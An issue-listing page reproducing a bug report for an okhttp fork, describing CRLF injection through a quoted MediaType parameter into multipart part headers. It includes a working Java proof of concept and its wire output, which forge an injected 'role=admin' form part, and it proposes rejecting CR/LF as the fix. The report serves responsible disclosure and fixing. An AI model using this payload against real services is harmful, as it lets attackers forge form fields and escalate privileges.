Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

CRLF injection into multipart bodies via a quoted MediaType parameter

Open
  • Is something wrong?
#9,725 0 comments 0 reactions 0 assignees View on GitHub

Maintainers usually reply within 1 day

Nobody has claimed this yet.

  • #9730 by @waterWang — closed without merging

Assessment

Difficulty
2/5
Estimated time
1-3 hours
Newbie friendliness
45/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Stale
Tech stack
kotlin
Domain
security

Research direction

Start in okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt, where the issue identifies the quoted-parameter regex and toString(), then trace how MultipartBody.writeOrCountBytes writes the content type. Run the relevant MediaType and multipart tests, adding coverage for CR/LF in quoted parameters. Done means such input is rejected and the multipart injection demonstrated in the issue cannot occur; a linked pull request is already present, so check its status before starting.

Written by the indexing model from the issue text.

Description

bug

MediaType accepts CR and LF inside a quoted parameter, while MultipartBody writes that media type directly into the part header, so a content type taken from untrusted input can end the header block and append new multipart parts. The same exact string is rejected if it goes through the ordinary request-header path, so AFAICT, this is not intentional.

The regex for quoted parameters is in https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L94, which is problematic because the negated character class also matches CR and LF. toString() just returns the original string: https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L86.

MultipartBody.writeOrCountBytes then writes "Content-Type: " + contentType + CRLF:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MultipartBody.kt#L145-L150 with no validation in between.

A quick demo:

import okhttp3.Headers;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;
import okio.Buffer;

public class Poc36 {
  public static void main(String[] args) throws Exception {
    String attackerControlled =
        "text/plain; charset=\"a\r\n"
      + "\r\n"
      + "injected part body\r\n"
      + "--BOUNDARY\r\n"
      + "Content-Disposition: form-data; name=role\r\n"
      + "\r\n"
      + "admin\r\n"
      + "--BOUNDARY--\r\n"
      + "\"";

    MediaType mediaType = MediaType.parse(attackerControlled);
    System.out.println("MediaType.parse accepted it : " + (mediaType != null));

    try {
      new Headers.Builder().add("Content-Type", mediaType.toString());
      System.out.println("outer request header path   : accepted");
    } catch (IllegalArgumentException e) {
      System.out.println("outer request header path   : rejected (" + e.getMessage().split("\n")[0] + ")");
    }

    MultipartBody body = new MultipartBody.Builder("BOUNDARY")
        .setType(MultipartBody.FORM)
        .addFormDataPart("upload", "note.txt", RequestBody.create("original content".getBytes(), mediaType))
        .build();

    Buffer wire = new Buffer();
    body.writeTo(wire);
    System.out.println("\n--- bytes on the wire ---");
    System.out.print(wire.readUtf8());
  }
}

which results in:

MediaType.parse accepted it : true
outer request header path   : rejected (Unexpected char 0x0d at 22 in Content-Type value: text/plain; charset="a)

--- bytes on the wire ---
--BOUNDARY
Content-Disposition: form-data; name="upload"; filename="note.txt"
Content-Type: text/plain; charset="a

injected part body
--BOUNDARY
Content-Disposition: form-data; name=role

admin
--BOUNDARY--
"

original content
--BOUNDARY--

So the injected/forged role=admin part is complete and well formed, and because the terminating boundary is now before the real content, the application's "real" partbody ends up in the end and gets dropped.

Looking around a bit, this seems to be the only place where CR and LF are not rejected, so the fix seems to be just to reject CR/LF in MediaType.

Dominant language
Kotlin
Stars
47.1k
Forks
9.3k
Avg merge
18h 18m
Merged PRs (30d)
15

Getting set up

This project ships no dev container, Dockerfile or contributing guide, so setting up is up to you: start from its README, and see our first-contribution guide for the general steps.

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from lysine-dev/okhttp

All issues in lysine-dev/okhttp

Similar issues

More Kotlin issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.